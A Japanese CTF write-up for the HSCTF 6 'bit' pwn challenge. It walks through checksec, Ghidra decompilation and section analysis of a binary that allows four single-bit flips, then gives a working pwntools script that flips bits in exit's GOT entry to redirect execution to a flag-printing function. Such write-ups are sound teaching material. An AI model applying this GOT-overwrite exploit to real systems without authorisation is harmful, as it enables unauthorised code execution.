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tags: pwn
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# HSCTF 6 - bit
これまでに解いた問題: https://hackmd.io/@Xornet/BkemeSAhU
## 公式リポジトリ
<https://github.com/hsncsclub/HSCTF-6-Problems>
## Writeup
### outline
バイナリ中で指定したアドレスの値を下位8ビットから1ビットだけ選んで反転できる、但し4回だけ。
`flag`というここに飛んだらフラグをあげるよと言っている関数があるのでここへ飛ぶことを目標にする。
NX bitが有効なので実行可能領域は書き換えられない、よってcallやjmp命令の引数をこの関数のアドレスには書き換えることはできない。
ということで考えられるのはGOT Overwriteになる。ここで4bitまでしか反転できないことから既にアドレスが解決している関数のGOTのflag関数への書き換えはおそらく無理、したがって呼ばれていない関数のGOTを書き換える
### binary
```
$ checksec bit
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
NXぐらいしかないので実行可能領域への書き込み以外は何でもできそう。
Ghidraのデコンパイル結果は次の通り
```clike
void main(undefined4 param_1,undefined4 param_2)
{
ulong uVar1;
int *piVar2;
int in_GS_OFFSET;
uint uVar3;
uint uVar4;
int cnt;
char local_1e [10];
undefined4 canary;
undefined *puStack16;
puStack16 = ¶m_1;
canary = *(undefined4 *)(in_GS_OFFSET + 0x14);
uVar4 = 2;
uVar3 = 0;
setvbuf(stdout,(char *)0x0,2,0);
puts(
"Welcome to the bit.\n\nNo nonsense, just pwn this binary. You have 4 tries. Live up tokmh\'s expectations, and get the flag.\n"
);
cnt = 0;
while( true ) {
if (3 < cnt) {
puts("Well, at least you tried.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Give me the address of the byte: ",uVar3,uVar4);
fgets(local_1e,10,stdin);
uVar1 = strtoul(local_1e,(char **)0x0,0x10);
piVar2 = __errno_location();
*piVar2 = 0;
piVar2 = __errno_location();
if (*piVar2 == 0x22) break;
printf("Give me the index of the bit: ");
fgets(local_1e,10,stdin);
uVar3 = strtol(local_1e,(char **)0x0,10);
if (7 < (ushort)uVar3) {
printf("Try again.");
/* WARNING: Subroutine does not return */
exit(1);
}
uVar4 = uVar3 & 0xffff;
printf("Took care of %08x at offset %d for ya.\n\n",uVar1,uVar4);
uVar3 = uVar3 & 0xffff;
flip(uVar1);
cnt = cnt + 1;
}
printf("Lol, try again (hex uint32).");
/* WARNING: Subroutine does not return */
exit(1);
}
```
最初の入力でどこのアドレスを書き換えるかを16進数で指定する。その後の入力でそのアドレスの何bit目を反転させるかを決める。但し下位8bitのいずれか1つしか書き換えることが出来ない(8以上の値をインデックスに指定すると`exit`する)。
反転を行っている`flip`関数のデコンパイル結果は次の通り
```clike
void flip(uint *param_1,undefined4 param_2)
{
int iVar1;
iVar1 = __x86.get_pc_thunk.ax();
*param_1 = *param_1 ^ 1 << ((byte)param_2 & 0x1f);
printf((char *)(iVar1 + 0x2ab),*param_1);
return;
}
```
これを4回行うと`exit(0)`を吐いて終了する。
この反転の使い方だが`flag`関数というフラグを読んで表示してくれる関数がある。
```clike
void flag(void)
{
FILE *__stream;
int iVar1;
printf("[🛐] pwn gods like you deserve this: ");
__stream = fopen("flag","r");
while( true ) {
iVar1 = fgetc(__stream);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
fclose(__stream);
/* WARNING: Subroutine does not return */
exit(0);
}
```
よって何らかのジャンプに使われている値を`flag`のアドレスへと変更する問題だと思われる。
### 反転先
rabin2で書き換え可能な領域を調べる
```
$ rabin2 -S bit
[Sections]
00 0x00000000 0 0x00000000 0 -----
01 0x00000154 19 0x08048154 19 --r-- .interp
02 0x00000168 32 0x08048168 32 --r-- .note.ABI_tag
03 0x00000188 36 0x08048188 36 --r-- .note.gnu.build_id
04 0x000001ac 32 0x080481ac 32 --r-- .gnu.hash
05 0x000001cc 288 0x080481cc 288 --r-- .dynsym
06 0x000002ec 182 0x080482ec 182 --r-- .dynstr
07 0x000003a2 36 0x080483a2 36 --r-- .gnu.version
08 0x000003c8 48 0x080483c8 48 --r-- .gnu.version_r
09 0x000003f8 24 0x080483f8 24 --r-- .rel.dyn
10 0x00000410 104 0x08048410 104 --r-- .rel.plt
11 0x00000478 35 0x08048478 35 --r-x .init
12 0x000004a0 224 0x080484a0 224 --r-x .plt
13 0x00000580 8 0x08048580 8 --r-x .plt.got
14 0x00000590 1026 0x08048590 1026 --r-x .text
15 0x00000994 20 0x08048994 20 --r-x .fini
16 0x000009a8 383 0x080489a8 383 --r-- .rodata
17 0x00000b28 84 0x08048b28 84 --r-- .eh_frame_hdr
18 0x00000b7c 328 0x08048b7c 328 --r-- .eh_frame
19 0x00000f04 4 0x08049f04 4 --rw- .init_array
20 0x00000f08 4 0x08049f08 4 --rw- .fini_array
21 0x00000f0c 232 0x08049f0c 232 --rw- .dynamic
22 0x00000ff4 12 0x08049ff4 12 --rw- .got
23 0x00001000 64 0x0804a000 64 --rw- .got.plt
24 0x00001040 8 0x0804a040 8 --rw- .data
25 0x00001048 0 0x0804a048 4 --rw- .bss
26 0x00001048 41 0x00000000 41 ----- .comment
27 0x00001074 1280 0x00000000 1280 ----- .symtab
28 0x00001574 753 0x00000000 753 ----- .strtab
29 0x00001865 261 0x00000000 261 ----- .shstrtab
30 0x00000034 288 0x08048034 288 m-r-- PHDR
31 0x00000154 19 0x08048154 19 m-r-- INTERP
32 0x00000000 3268 0x08048000 3268 m-r-x LOAD0
33 0x00000f04 324 0x08049f04 328 m-rw- LOAD1
34 0x00000f0c 232 0x08049f0c 232 m-rw- DYNAMIC
35 0x00000168 68 0x08048168 68 m-r-- NOTE
36 0x00000b28 84 0x08048b28 84 m-r-- GNU_EH_FRAME
37 0x00000000 0 0x00000000 0 m-rw- GNU_STACK
38 0x00000f04 252 0x08049f04 252 m-r-- GNU_RELRO
39 0x00000000 52 0x08048000 52 m-rw- ehdr
```
NX bitが有効なので実行可能領域は当然書き換えできない。この内書き換え可能な領域を見ると有用そうなのは.got.pltなのでGOT Overwriteを狙う。
ここでアドレス解決を行う前はGOTには.plt内のアドレスが格納されている。一方でアドレス解決を行うとおそらく0x7f114514のように大きいアドレスがGOTに格納されるため4回の書き換えでは`flag`へ飛ばすことは出来ない。よって前者の未だにアドレス解決が行われていない関数を狙う。
今回は呼ばれたらそもそもプログラムが落ちるためおそらくどこでも呼ばれていないであろう`exit`のGOTのbit反転を狙う。
`exit@GOT`の初期値と`flag`のアドレスは2進数にすると次の通り
```
exit@GOT: 0b1000000001001000010011110110
flag : 0b1000000001001000011010100110
diff : ^ ^ ^
```
ビットが異なっている桁は3つ、よって4回までの反転で`exit@GOT`の中身を`flag`のアドレスに変えることは可能である。
但し、反転出来るのは指定したアドレスの下位8bitであり、`exit@GOT`の中身で書き換えたいのは(右端を0bit目として)4, 6, 9bit目なので9bit目を書き換える際はアドレスを1つ大きい位置に指定する必要がある。
そしてこの反転をしてもまだ1回分余っているが反転桁を入力するところで8以上の値を指定すると`exit`が呼ばれることから`flag`へ飛ぶことになる。
## Code
```python
from pwn import remote, process, p64, u32, ELF
def get_flip_bits(addr1, addr2):
xored = addr1 ^ addr2
ret = []
idx = 0
while xored != 0:
if xored & 1 == 1:
ret.append(idx)
xored = xored >> 1
idx += 1
# print(xored)
return ret
if __name__ == '__main__':
target = "localhost"
port = 4444
elf = ELF("./bit")
got = elf.got
flag_addr = elf.symbols["flag"]
exit_got = elf.got["exit"]
exit_got_val = u32(elf.read(exit_got, 4))
print(hex(flag_addr))
print(hex(exit_got))
print(hex(exit_got_val))
print(bin(flag_addr))
print(bin(exit_got_val))
flips = get_flip_bits(flag_addr, exit_got_val)
print(flips)
s = remote(target, port)
for flip in flips:
s.recvuntil(b"Give me the address of the byte: ")
target = exit_got + flip // 8
s.sendline(hex(target)[2:].encode())
s.recvuntil(b"Give me the index of the bit: ")
s.sendline(str(flip % 8).encode())
s.recvuntil(b"Give me the address of the byte: ")
s.sendline(hex(target)[2:].encode())
s.recvuntil(b"Give me the index of the bit: ")
s.sendline(b"1919810")
print(s.recvline())
```
## Flag
`hsctf{flippin_pwn_g0d}`
## 感想
実はncで数字を入れるだけで解けるので最初はそうやって解いた。その結果`flag`内のexitが実質再帰関数と化したため一生フラグを吐き出し続ける化け物が産まれた。
なお睡魔のせいでこのwriteupを書くためにncでの手順をExploitコードとして書き直すのに問題を解く以上の時間を費やした模様
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